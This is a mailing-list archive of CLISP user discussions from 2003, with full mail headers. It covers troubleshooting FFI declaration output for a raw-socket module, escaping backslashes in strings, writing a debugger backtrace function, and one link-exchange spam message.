List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 12 12:29:36 2003 X-Original-Date: 12 Sep 2003 15:28:12 -0400 >* Fred Cohen [2003-09-11 22:02:56 -0700]: > > The old version produced a call-rawsock.c file with this: > > extern uint8 (buffer)[1518]; > extern struct t1261 { sint16 SA_FAMILY; sint8 (SA_DATA)[14]; } from; > extern uint8 (f)[16]; > extern uint8 (timestamp)[16]; > extern char* ts; > extern int (rawsocket)(); > extern int (closesock)(); > extern uint16 (ipcsum)(); > extern uint16 (icmpcsum)(); > extern uint16 (tcpcsum)(); > extern uint16 (udpcsum)(); > extern int (recvfr)(); > extern int (sendt)(); > extern int (gettime)(); > extern int (backup)(); > extern int (restore)(); > extern int (configdev)(); > extern void (perror)(); NEWS: * FFI does not output extern variable and function declarations unless you set FFI:*OUTPUT-C-VARIABLES* and/or FFI:*OUTPUT-C-FUNCTIONS* to T. Please use FFI:C-LINES to include the appropriate headers instead. See for details. -- Sam Steingold (http://www.podval.org/~sds) running w2k Why do we want intelligent terminals when there are so many stupid users? From lisp-clisp-list@m.gmane.org Fri Sep 12 12:30:37 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xtcr-0004AP-00 for ; Fri, 12 Sep 2003 12:30:37 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xtcq-0003Ie-Gj for clisp-list@lists.sourceforge.net; Fri, 12 Sep 2003 12:30:36 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19xtci-0004HA-00 for ; Fri, 12 Sep 2003 21:30:28 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19xtap-0004Fj-00 for ; Fri, 12 Sep 2003 21:28:31 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19xtaw-0003dc-00 for ; Fri, 12 Sep 2003 21:28:38 +0200 From: Sam Steingold Organization: disorganization Lines: 14 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE0699308F@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: >* amit phalgune [2003-09-11 22:03:57 -0700]: > > I would like to put a escape character in a string Like : > > (setf A "Z:\ABC") > but this remove the "\" character. How do I keep it ? [...] Content analysis details: (-1.00 points, 5 required) REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) Subject: [clisp-list] Re: escape characters in CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 12 12:31:50 2003 X-Original-Date: 12 Sep 2003 15:28:37 -0400 >* amit phalgune [2003-09-11 22:03:57 -0700]: > > I would like to put a escape character in a string Like : > > (setf A "Z:\ABC") > but this remove the "\" character. How do I keep it ? (setf A "Z:\\ABC") -- Sam Steingold (http://www.podval.org/~sds) running w2k In C you can make mistakes, while in C++ you can also inherit them! From sds@gnu.org Fri Sep 12 06:51:35 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xoKl-0002LU-00 for ; Fri, 12 Sep 2003 06:51:35 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xoKl-0004b9-1P for clisp-list@lists.sourceforge.net; Fri, 12 Sep 2003 06:51:35 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h8CDowE16932; Fri, 12 Sep 2003 09:50:58 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: auto debugging References: <20030910203740.C3C498F883@thalassa.informatimago.com> <16225.6463.620651.800587@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16225.6463.620651.800587@thalassa.informatimago.com> Message-ID: Lines: 60 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: >* Pascal J.Bourguignon [2003-09-12 02:54:23 +0200]: > > Sam Steingold writes: > > almost. see `break-loop' in src/reploop.lisp: > > > > [1]> (setq *debugger-hook* > > (lambda (condition last-hook) > > (format t "~&ERROR: ~A" condition) > > (let* ((sys::*frame-limit1* (sys::frame-limit1 13)) > > (sys::*frame-limit2* (sys::frame-limit2)) > > (sys::*debug-mode* 1) > > (sys::*debug-frame* > > (sys::frame-down-1 (sys::frame-up-1 sys::*frame-limit1* > > sys::*debug-mode*) > > sys::*debug-mode*))) > > (system::debug-backtrace)))) > > I had to add a catch on 'system::debug, and noted that it outputs a > "Printed NN frames" to *debug-io*: > > > (DEFUN BACKTRACE (&OPTIONAL (OUTPUT *STANDARD-OUTPUT*) (DEBUG *DEBUG-IO*)) > " > DO: Prints a backtrace to the OUTPUT stream, > and report the number of printed frames on the DEBUG frame. > NOTE: To be used in debugger hooks, but can be called from anywhere. > " > (LET ((*STANDARD-OUTPUT* OUTPUT) > (*DEBUG-IO* DEBUG)) > (CATCH 'SYSTEM::DEBUG > (LET* ((SYS::*FRAME-LIMIT1* (SYS::FRAME-LIMIT1 13)) > (SYS::*FRAME-LIMIT2* (SYS::FRAME-LIMIT2)) > (SYS::*DEBUG-MODE* 1) > (SYS::*DEBUG-FRAME* > (SYS::FRAME-DOWN-1 (SYS::FRAME-UP-1 SYS::*FRAME-LIMIT1* > SYS::*DEBUG-MODE*) > SYS::*DEBUG-MODE*))) > (SYSTEM::DEBUG-BACKTRACE)))) > );;BACKTRACE [...] Content analysis details: (-2.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 12 12:59:14 2003 X-Original-Date: 12 Sep 2003 09:50:58 -0400 >* Pascal J.Bourguignon [2003-09-12 02:54:23 +0200]: > > Sam Steingold writes: > > almost. see `break-loop' in src/reploop.lisp: > > > > [1]> (setq *debugger-hook* > > (lambda (condition last-hook) > > (format t "~&ERROR: ~A" condition) > > (let* ((sys::*frame-limit1* (sys::frame-limit1 13)) > > (sys::*frame-limit2* (sys::frame-limit2)) > > (sys::*debug-mode* 1) > > (sys::*debug-frame* > > (sys::frame-down-1 (sys::frame-up-1 sys::*frame-limit1* > > sys::*debug-mode*) > > sys::*debug-mode*))) > > (system::debug-backtrace)))) > > I had to add a catch on 'system::debug, and noted that it outputs a > "Printed NN frames" to *debug-io*: > > > (DEFUN BACKTRACE (&OPTIONAL (OUTPUT *STANDARD-OUTPUT*) (DEBUG *DEBUG-IO*)) > " > DO: Prints a backtrace to the OUTPUT stream, > and report the number of printed frames on the DEBUG frame. > NOTE: To be used in debugger hooks, but can be called from anywhere. > " > (LET ((*STANDARD-OUTPUT* OUTPUT) > (*DEBUG-IO* DEBUG)) > (CATCH 'SYSTEM::DEBUG > (LET* ((SYS::*FRAME-LIMIT1* (SYS::FRAME-LIMIT1 13)) > (SYS::*FRAME-LIMIT2* (SYS::FRAME-LIMIT2)) > (SYS::*DEBUG-MODE* 1) > (SYS::*DEBUG-FRAME* > (SYS::FRAME-DOWN-1 (SYS::FRAME-UP-1 SYS::*FRAME-LIMIT1* > SYS::*DEBUG-MODE*) > SYS::*DEBUG-MODE*))) > (SYSTEM::DEBUG-BACKTRACE)))) > );;BACKTRACE note that you can write (defun backtrace (&optional (*standard-output* *standard-output*) (*debug-io* *debug-io*)) ...) instead of (defun backtrace (&optional (output *standard-output*) (debug *debug-io*)) (let ((*standard-output* output) (*debug-io* debug)) ...)) > Thanks again for you help. welcome. -- Sam Steingold (http://www.podval.org/~sds) running w2k Small languages require big programs, large languages enable small programs. From phalgune@jasper03.CS.ORST.EDU Fri Sep 12 13:16:35 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xuLL-0008B6-00 for ; Fri, 12 Sep 2003 13:16:35 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xuLK-0002gA-Kp for clisp-list@lists.sourceforge.net; Fri, 12 Sep 2003 13:16:34 -0700 Received: from jasper03.CS.ORST.EDU (jasper03.CS.ORST.EDU [128.193.39.110]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h8CKGICb022811; Fri, 12 Sep 2003 13:16:18 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper03.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h8CKGIHa006264; Fri, 12 Sep 2003 13:16:18 -0700 (PDT) From: amit phalgune To: Sam Steingold cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: escape characters in CLISP In-Reply-To: Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE0699308F@G8PQD.blf01.telekom.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Well, I did that and then once I do a format on A. it shows "Z:\\ABC" so I am not sure if it works. Amit On Fri, 12 Sep 2003, Sam Steingold wrote: > >* amit phalgune [2003-09-11 22:03:57 -0700]: > > > > I would like to put a escape character in a string Like : > > > > (setf A "Z:\ABC") > > but this remove the "\" character. How do I keep it ? > > (setf A "Z:\\ABC") > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > In C you can make mistakes, while in C++ you can also inherit them! > > > > > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > [...] Content analysis details: (-2.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_PINE (0.0 points) Message-Id indicates a non-spam MUA (Pine) REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 12 13:25:28 2003 X-Original-Date: Fri, 12 Sep 2003 13:16:17 -0700 (PDT) Well, I did that and then once I do a format on A. it shows "Z:\\ABC" so I am not sure if it works. Amit On Fri, 12 Sep 2003, Sam Steingold wrote: > >* amit phalgune [2003-09-11 22:03:57 -0700]: > > > > I would like to put a escape character in a string Like : > > > > (setf A "Z:\ABC") > > but this remove the "\" character. How do I keep it ? > > (setf A "Z:\\ABC") > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > In C you can make mistakes, while in C++ you can also inherit them! > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From rschulz@sonic.net Fri Sep 12 13:59:23 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xv0l-0006jn-00 for ; Fri, 12 Sep 2003 13:59:23 -0700 Received: from eth0.a.smtp.sonic.net ([64.142.16.244]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.22) id 19xv0l-0004WK-4f for clisp-list@lists.sourceforge.net; Fri, 12 Sep 2003 13:59:23 -0700 Received: from Clemens.sonic.net (adsl-64-142-24-211.sonic.net [64.142.24.211]) (authenticated bits=0) by eth0.a.smtp.sonic.net (8.12.9/8.12.7) with ESMTP id h8CKxLuc025673 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 12 Sep 2003 13:59:22 -0700 Message-Id: <5.2.1.1.2.20030912135554.028de0e8@pop.sonic.net> X-Sender: rschulz@pop.sonic.net X-Mailer: QUALCOMM Windows Eudora Version 5.2.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] Re: escape characters in CLISP In-Reply-To: References: <9F8582E37B2EE5498E76392AEDDCD3FE0699308F@G8PQD.blf01.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: -2.0 (--) X-Spam-Report: -2.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Amit, At 13:16 2003-09-12, amit phalgune wrote: >Well, > >I did that and then once I do a format on A. it shows "Z:\\ABC" so I am >not sure if it works. You're probably using a format directive that produces readable output. I.e., you're using ~S. To get the string unaltered (for re-reading), use ~A. [...] Content analysis details: (-2.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 12 14:00:06 2003 X-Original-Date: Fri, 12 Sep 2003 13:59:57 -0700 Amit, At 13:16 2003-09-12, amit phalgune wrote: >Well, > >I did that and then once I do a format on A. it shows "Z:\\ABC" so I am >not sure if it works. You're probably using a format directive that produces readable output. I.e., you're using ~S. To get the string unaltered (for re-reading), use ~A. Randall Schulz From transpls-www@sting.servers.highway.ru Fri Sep 12 16:10:36 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xx3j-0004X3-00 for ; Fri, 12 Sep 2003 16:10:35 -0700 Received: from sting.servers.highway.ru ([217.106.229.33]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xx3j-00072g-D9 for clisp-list@lists.sourceforge.net; Fri, 12 Sep 2003 16:10:35 -0700 Received: from transpls-www by sting.servers.highway.ru with local (Exim 4.10) id 19xx3h-0004Md-00 for clisp-list@lists.sourceforge.net; Sat, 13 Sep 2003 03:10:33 +0400 To: clisp-list@lists.sourceforge.net From: edlavent@ukr.net Message-Id: X-Spam-Score: 0.8 (/) X-Spam-Report: 0.8/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Dear Portal Administration! I have recently come across your site and liked it very much. I suppose that the visitors of our resources belong to the same social group and my site could be useful for your audience so I suggest to exchange our links. This will help both of us to increase Link-Popularity and accordingly get top positions in many searching system, Google for instance. [...] Content analysis details: (0.80 points, 5 required) NO_REAL_NAME (0.8 points) From: does not include a real name Subject: [clisp-list] Dear Portal Administration Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 12 16:11:03 2003 X-Original-Date: Sat, 13 Sep 2003 03:10:33 +0400 Dear Portal Administration! I have recently come across your site and liked it very much. I suppose that the visitors of our resources belong to the same social group and my site could be useful for your audience so I suggest to exchange our links. This will help both of us to increase Link-Popularity and accordingly get top positions in many searching system, Google for instance. My site is dedicated to my motorcycle travel stories. I hope that our subject as well as your site info will evoke mutual interest of our visitors. If you are positive to cooperate with me will you please visit this page to leave your link: http://www.edtrstory.com/?id=links Yours sincerely, www.edtrstory.com Ed From phalgune@jasper03.CS.ORST.EDU Fri Sep 12 16:31:31 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xxNz-0006qx-00 for ; Fri, 12 Sep 2003 16:31:31 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xxNz-0000tZ-5S for clisp-list@lists.sourceforge.net; Fri, 12 Sep 2003 16:31:31 -0700 Received: from jasper03.CS.ORST.EDU (jasper03.CS.ORST.EDU [128.193.39.110]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h8CNVUCb007748; Fri, 12 Sep 2003 16:31:30 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper03.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h8CNVTeH006663; Fri, 12 Sep 2003 16:31:29 -0700 (PDT) From: amit phalgune To: Randall R Schulz cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: escape characters in CLISP In-Reply-To: <5.2.1.1.2.20030912135554.028de0e8@pop.sonic.net> Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE0699308F@G8PQD.blf01.telekom.de> <5.2.1.1.2.20030912135554.028de0e8@pop.sonic.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Thanks, That works.. Amit On Fri, 12 Sep 2003, Randall R Schulz wrote: > Amit, > > At 13:16 2003-09-12, amit phalgune wrote: > >Well, > > > >I did that and then once I do a format on A. it shows "Z:\\ABC" so I am > >not sure if it works. > > You're probably using a format directive that produces readable output. > I.e., you're using ~S. To get the string unaltered (for re-reading), use ~A. > > Randall Schulz > > > > > > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > [...] Content analysis details: (-2.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_PINE (0.0 points) Message-Id indicates a non-spam MUA (Pine) REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 12 16:32:05 2003 X-Original-Date: Fri, 12 Sep 2003 16:31:29 -0700 (PDT) Thanks, That works.. Amit On Fri, 12 Sep 2003, Randall R Schulz wrote: > Amit, > > At 13:16 2003-09-12, amit phalgune wrote: > >Well, > > > >I did that and then once I do a format on A. it shows "Z:\\ABC" so I am > >not sure if it works. > > You're probably using a format directive that produces readable output. > I.e., you're using ~S. To get the string unaltered (for re-reading), use ~A. > > Randall Schulz > > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From fc@all.net Fri Sep 12 21:07:16 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19y1gq-00070m-00 for ; Fri, 12 Sep 2003 21:07:16 -0700 Received: from red.all.net ([216.135.231.242] helo=all.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19y1gq-0000p5-2l for clisp-list@lists.sourceforge.net; Fri, 12 Sep 2003 21:07:16 -0700 Received: (from fc@localhost) by all.net (8.11.6/8.11.2) id h8D46cY19835; Fri, 12 Sep 2003 21:06:38 -0700 Message-Id: <200309130406.h8D46cY19835@all.net> Subject: Re: [clisp-list] Re: FFI errors - tracking them closer To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net (Clisp List) In-Reply-To: from "Sam Steingold" at Sep 12, 2003 03:28:12 PM From: Fred Cohen Reply-To: fc@all.net Organization: Fred Cohen & Associates X-Mailer: Yes X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Per the message sent by Sam Steingold: > >* Fred Cohen [2003-09-11 22:02:56 -0700]: > > > > The old version produced a call-rawsock.c file with this: ... > NEWS: [...] Content analysis details: (-1.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 12 21:08:03 2003 X-Original-Date: Fri, 12 Sep 2003 21:06:37 -0700 (PDT) Per the message sent by Sam Steingold: > >* Fred Cohen [2003-09-11 22:02:56 -0700]: > > > > The old version produced a call-rawsock.c file with this: ... > NEWS: > * FFI does not output extern variable and function declarations unless > you set FFI:*OUTPUT-C-VARIABLES* and/or FFI:*OUTPUT-C-FUNCTIONS* to T. > Please use FFI:C-LINES to include the appropriate headers instead. > See for details. OK - this is changed from the last version. So I did this and... it still doesn't create the declarations required - as before: (DEFPACKAGE "RAWSOCK" (:use "LISP" "FFI")) (IN-PACKAGE "RAWSOCK") (setf FFI:*OUTPUT-C-FUNCTIONS* t) (setf FFI:*OUTPUT-C-VARIABLES* t) ; (setq snaplen 1514) (def-c-var buffer (:name "buffer"... Yields no declarations when I do: LD_RUN_PATH=/usr/local/lib LD_LIBRARY_PATH=/usr/local/lib base=/usr/local/lib/clisp/base;export base rm -rf ${base}/rawsock export CLISP_LINKKIT=/usr/local/lib/clisp/linkkit/ rm -rf call-rawsock.c call-rawsock.fas call-rawsock.lib rawsock /usr/local/lib/clisp/clisp-link create-module-set rawsock call-rawsock.c cc -O -c rawsock.c cd rawsock ln -s ../rawsock.o rawsock.o cp -f ../thingtofix link.sh cd .. ${base}/lisp.run -M ${base}/lispinit.mem -q -c call-rawsock.lisp It still yields a C program without the declarations, resulting in: /usr/local/lib/clisp/clisp-link add-module-set rawsock ${base} ${base}/rawsock -> call-rawsock.c: In function `module__call_rawsock__init_function_2': call-rawsock.c:19: `buffer' undeclared (first use in this function) call-rawsock.c:19: (Each undeclared identifier is reported only once ... What ELSE has changed? Is there some example of a working program in the FFI interface and all of the compilation process that works so I can use it to make mine work? The ones on the web site - carried out step by step - fail. FC -- This communication is confidential to the parties it is intended to serve -- Fred Cohen - http://all.net/ - fc@all.net - fc@unhca.com - tel/fax: 925-454-0171 Fred Cohen & Associates - University of New Haven - Security Posture From sds@gnu.org Fri Sep 12 21:13:27 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19y1mp-0007TN-00 for ; Fri, 12 Sep 2003 21:13:27 -0700 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19y1mo-0004jg-Aj for clisp-list@lists.sourceforge.net; Fri, 12 Sep 2003 21:13:26 -0700 Received: from WINSTEINGOLDLAP ([141.149.187.13]) by out006.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030913041252.BTQZ5302.out006.verizon.net@WINSTEINGOLDLAP>; Fri, 12 Sep 2003 23:12:52 -0500 To: fc@all.net Cc: clisp-list@lists.sourceforge.net (Clisp List) Subject: Re: [clisp-list] Re: FFI errors - tracking them closer References: <200309130406.h8D46cY19835@all.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200309130406.h8D46cY19835@all.net> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [141.149.187.13] at Fri, 12 Sep 2003 23:12:51 -0500 X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: >* Fred Cohen [2003-09-12 21:06:37 -0700]: > > > * FFI does not output extern variable and function declarations unless > > you set FFI:*OUTPUT-C-VARIABLES* and/or FFI:*OUTPUT-C-FUNCTIONS* to T. > > Please use FFI:C-LINES to include the appropriate headers instead. > > See for details. > > (setf FFI:*OUTPUT-C-FUNCTIONS* t) > (setf FFI:*OUTPUT-C-VARIABLES* t) [...] Content analysis details: (-2.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 12 21:14:05 2003 X-Original-Date: 13 Sep 2003 00:12:49 -0400 >* Fred Cohen [2003-09-12 21:06:37 -0700]: > > > * FFI does not output extern variable and function declarations unless > > you set FFI:*OUTPUT-C-VARIABLES* and/or FFI:*OUTPUT-C-FUNCTIONS* to T. > > Please use FFI:C-LINES to include the appropriate headers instead. > > See for details. > > (setf FFI:*OUTPUT-C-FUNCTIONS* t) > (setf FFI:*OUTPUT-C-VARIABLES* t) the prototypes are output at compile time, so you need (eval-when (compile) (setq ffi:*output-c-functions* t)) I _really_ urge you to include headers instead. -- Sam Steingold (http://www.podval.org/~sds) running 